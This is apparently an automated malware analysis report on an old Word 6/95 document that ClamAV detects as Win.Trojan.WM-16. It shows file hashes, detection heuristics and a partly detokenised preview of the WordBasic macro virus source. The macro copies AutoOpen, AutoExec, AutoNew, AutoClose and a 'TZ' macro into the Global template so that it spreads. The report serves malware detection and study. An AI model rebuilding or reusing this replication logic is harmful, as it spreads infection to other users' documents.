Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ec2923210b04e3df…

MALICIOUS

Office (OLE)

7.5 KB First seen: 2012-06-30
MD5: 4b3266716096266a11e2189122653ba6 SHA-1: 40d7e51dfff98dadbeba4f3427ce16c216352951 SHA-256: ec2923210b04e3df0415145f2dd8a98953f7ba483c93c6418310749be9bbe9f4
102 Risk Score

Heuristics 3

  • ClamAV: Win.Trojan.WM-16 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.WM-16
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • Recovered legacy WordBasic macro source info OLE_LEGACY_WORDBASIC_MACRO_SOURCE
    The Word 6.0/95 document stores tokenised WordBasic macros in the WordDocument stream rather than as a modern VBA project, so VBA source extraction cannot see them. The macro source was detokenised and carved so its identifiers, string literals (file paths, URLs, registry keys, message text) and comments are available for review and signature scanning.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
wordbasic_macros.txt wordbasic-macro analyzer.wordbasic (detokenised Word 6/95 WordBasic macro source) 1545 bytes
SHA-256: 20e4fd8ad2715ab644a1ad65d17ba618b5c6c76ff70557a6c8686c14e7e3aba2
Preview script
First 1,000 lines of the extracted script
, , = + = 29551 =
MAIN
, - * Finish
i = 1 @cmd80b7 1 , 0
@cmd80b8 i , 1 , 1 = "TZ"
VInstalled = 1
i
VInstalled = 1
* Finish
, -
@cmd0054 = 1
@cmd80c2 "Global:AutoOpen" , @cmd8025 = ":AutoOpen"
@cmd80c2 "Global:TZ" , @cmd8025 = ":TZ"
@cmd80c2 "Global:AutoExec" , @cmd8025 = ":AutoExec"
@cmd80c2 "Global:AutoNew" , @cmd8025 = ":AutoNew"
@cmd80c2 "Global:AutoClose" , @cmd8025 = ":AutoClose"
@cmd80a3 1 , 0
MAIN
AutoOpen
MAIN
, - * Finish2
i = 1 @cmd80b7 0 , 0
@cmd80b8 i , 0 , 0 = "TZ"
VInstalled = 1
i
VInstalled = 1
* Finish
, -
@cmd80c2 @cmd8025 = ":TZ" , "Global:TZ"
@cmd80c2 @cmd8025 = ":AutoNew" , "Global:AutoNew"
@cmd80c2 @cmd8025 = ":AutoClose" , "Global:AutoClose"
@cmd80c2 @cmd8025 = ":AutoExec" , "Global:AutoExec"
@cmd80c2 @cmd8025 = ":AutoOpen" , "Global:AutoOpen"
=
, - * Finish
i = 1 @cmd80b7 1 , 0
@cmd80b8 i , 1 , 1 = "TZ"
VInstalled = 1
i
VInstalled = 1
* Finish
, -
@cmd0054 = 1
@cmd80c2 "Global:AutoOpen" , @cmd8025 = ":AutoOpen"
@cmd80c2 "Global:TZ" , @cmd8025 = ":TZ"
@cmd80c2 "Global:AutoExec" , @cmd8025 = ":AutoExec"
@cmd80c2 "Global:AutoNew" , @cmd8025 = ":AutoNew"
@cmd80c2 "Global:AutoClose" , @cmd8025 = ":AutoClose"
@cmd80a3 1 , 0
MAIN
, - * Finish
i = 1 @cmd80b7 1 , 0
@cmd80b8 i , 1 , 1 = "TZ"
VInstalled = 1
i
VInstalled = 1
* Finish
, -
@cmd0054 = 1
@cmd80c2 "Global:AutoOpen" , @cmd8025 = ":AutoOpen"
@cmd80c2 "Global:TZ" , @cmd8025 = ":TZ"
@cmd80c2 "Global:AutoExec" , @cmd8025 = ":AutoExec"
@cmd80c2 "Global:AutoNew" , @cmd8025 = ":AutoNew"
@cmd80c2 "Global:AutoClose" , @cmd8025 = ":AutoClose"
@cmd80a3 1 , 0

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